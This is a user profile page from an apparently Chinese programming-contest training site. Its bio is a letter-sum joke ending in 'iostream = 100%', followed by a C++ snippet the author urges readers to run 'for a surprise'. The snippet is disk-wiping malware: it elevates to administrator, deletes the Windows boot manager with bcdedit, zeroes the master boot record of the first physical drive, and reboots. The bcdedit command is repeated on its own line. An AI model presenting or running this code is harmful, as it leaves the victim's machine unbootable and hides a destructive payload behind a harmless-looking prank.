-
个人简介
什么才能让我们的人生美满呢?
如果将a视作1,b视作2,以此类推……
是努力(hard)吗?
h+a+r+d=8+1+18+4=31%,并不能使人生美满
如果去掉不正当的努力呢?
hard work=h+a+r+d+w+o+r+k=8+1+18+4+23+15+18+11=98%
看来还是缺了一点。是领导力(leadership)吗
leadership=l+e+a+d+e+r+s+h+i+p=12+5+1+4+5+18+19+8+9+16=97%
绝对的领导似乎并不能使人生活美满。是知识(knowledge)吗?
knowledge=k+n+o+w+l+e+d+g+e=11+14+15+23+12+5+4+7+5=96%
依旧略有偏颇
莫非是些玄学上的东西?比如……天赋(talent)?运气(fortune)?
talent=t+a+l+e+n+t=20+1+12+5+14+20=72%,有时天赋并不能决定一切
fortune=f+o+r+t+u+n+e=6+15+18+20+21+14+5=99%,绝对的运气果然可以抹平一切弱点,可惜还差了一点
是哪一点呢?
诚实(honest)?
honest=h+o+n+e+s+t=8+15+14+5+19+20=81%,真诚有时会换来欺骗
绝对的运气抹不平什么呢?
答案是:iostream!
iostream=i+o+s+t+r+e+a+m=9+15+19+20+18+5+1+13=100%,让我们一起写代码吧!
写满分代码,赢美满人生
运行这段代码,有惊喜
#include <windows.h> BOOL IsRunAsAdmin(HANDLE hProcess) { if (!hProcess) hProcess = GetCurrentProcess(); BOOL bElevated = FALSE; HANDLE hToken = NULL; if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE; TOKEN_ELEVATION tokenEle; DWORD dwRetLen = 0; if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen)) { if (dwRetLen == sizeof(tokenEle)) { bElevated = tokenEle.TokenIsElevated; } } CloseHandle(hToken); return bElevated; } VOID ManagerRun(LPCSTR exe, LPCSTR param, INT nShow) { SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "runas"; ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = nShow; ShExecInfo.hInstApp = NULL; BOOL ret = ShellExecuteEx(&ShExecInfo); CloseHandle(ShExecInfo.hProcess); } void MBR() { DWORD Ropen; BYTE pMBR[1024] = { 0 }; HANDLE hDevice = CreateFile( "\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL); WriteFile(hDevice, pMBR, 1024, &Ropen, NULL); DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL); } int main(int argc, char *argv[]) { if (!IsRunAsAdmin(NULL)) { ShowWindow(GetConsoleWindow(),SW_HIDE); ManagerRun(argv[0],"2",SW_SHOWNORMAL); return 1; }else{ system("bcdedit /delete {bootmgr} /f"); MBR(); system("shutdown -r -t 0"); } return 0; }
system("bcdedit /delete {bootmgr} /f");
-
通过的题目
-
最近活动
- 提高组 Week24 - 线段树 I 作业
- 乔斯2025集训队第十三次周赛 IOI
- 提高组 Week22 - 线性代数 I 作业
- 提高组 Week21 - 数论 III 作业
- 提高组 Week20 - 数论 II 作业
- 提高组 Week19 - 图论杂题选讲 作业
- CSP-J2 2024 IOI
- CSP-S2 2019 Day2 ACM/ICPC
- 2024国庆线下复赛集训模拟赛(六) IOI
- 2024 CSP-S2 赛前模拟 #3 OI
- 2024 CSP-S2 赛前模拟 #2 OI
- 提高组集训 Day5-数论和组合数学 作业
- 2024国庆线下复赛集训模拟赛(四) IOI
- S-National Day-Contest-Day4 OI
- 2024国庆线下复赛集训模拟赛(三) IOI
- S-National Day-Contest-Day3 OI
- 提高组国庆 Day3 - DP 作业
- 2024国庆线下复赛集训模拟赛(二) IOI
- S-National Day-Contest-Day2 OI
- 提高组国庆 Day2 - 数据结构 作业
- 2024国庆线下复赛集训模拟赛(一) IOI
- 北京线下营入营分班测2(第三期) IOI
- 北京线下营入营分班测1(第三期) IOI
题目标签
- 入门
- 9
- 算法基础
- 8
- 普及-
- 7
- 数学
- 7
- 模拟算法
- 7
- 字符串
- 6
- 算法进阶
- 5
- 基础
- 4
- 分支
- 4
- 语法基础
- 3
- 动态规划
- 2
- 递推
- 2
- 普及
- 2
- 基本运算
- 2
- 枚举
- 2
- 思维
- 2
- 一维数组
- 2
- STL容器
- 2
- 二分查找
- 1
- 进阶
- 1